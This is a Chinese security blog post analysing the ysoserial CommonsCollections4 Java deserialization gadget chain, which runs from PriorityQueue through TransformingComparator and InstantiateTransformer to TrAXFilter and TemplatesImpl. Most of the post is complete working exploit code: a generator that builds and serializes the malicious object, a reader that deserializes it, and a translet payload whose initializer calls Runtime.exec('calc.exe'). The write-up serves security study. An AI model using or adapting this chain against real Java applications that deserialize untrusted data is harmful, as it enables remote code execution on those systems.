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java反序列化-ysoserial-调试分析总结篇(4)
来源:cnblogs  作者:tr1ple  时间:2020/3/4 9:46:34  对本文有异议

1.前言

这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了instantiateTransformer,所以不用invoke反射调用方法,所以外层queue里面放的元素随意

缩减版的函数调用栈如下图所示:

2.利用链分析:

调用还是从PriorityQueue.readObject函数开始

一直到org/apache/commons/collections4/comparators/TransformingComparator.class的compare函数中将调用chainedTransformer的transform方法了

这里第一个要利用的还是ConstantTransformer,要返回TrAXfilter类

接下来第二轮将调用Traxfilter类入口参数类型为Templates的构造函数,并且实例化调用该构造函数传入templatesImpl类的实例

接下来到TraxFilter的构造函数中将调用templatesImpl.newTransformer(),就可以是实例化_bytecode中存储的类进行rce了

 

 yso构造分析:

 

 

 首先构造一个Templates类的实例,然后开始构造chianed链需要的东西,首先就是一个Constanttransformer

然后再构造chained的第二个元素就是该链相对于cc2的区别为InstantiateTransformer类

接下来将两个transformer放进chaind,并且构造外层的PriorityQueue,并将chined放入TransformingComparator,然后再将Templates放到instantiate实例的参数和参数类型中,至此

就构造结束了

手动exp构造:

 exp.java

package CommonsCollections4;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.ComparableComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;



import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class exp {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException {
        TemplatesImpl tmp = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));

        CtClass pay_class = pool.get(payload.class.getName());
        byte[] payCode = pay_class.toBytecode();
        Class clazz;
        clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //存储payload类
        Field byteCode = clazz.getDeclaredField("_bytecodes");
        byteCode.setAccessible(true);
        byteCode.set(tmp,new byte[][]{payCode});
        Field name  = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmp,"tr1ple");

        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{tmp})
        };


        ChainedTransformer chian = new ChainedTransformer(trans);
        //PriorityQueue<Object> queue = new PriorityQueue(2,new TransformingComparator(chian));
        TransformingComparator transCom = new TransformingComparator(chian);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);


        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
        ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file));
        obj_out.writeObject(queue);

    }
}

readobj.java

package CommonsCollections4;

import java.io.*;
import java.lang.Runtime;

public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();
    }
}

payload.java

package CommonsCollections4;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class payload extends AbstractTranslet {
    {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public payload(){
        System.out.println("tr1ple 2333");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

 

 


原文链接:http://www.cnblogs.com/tr1ple/p/12404108.html

 友情链接: NPS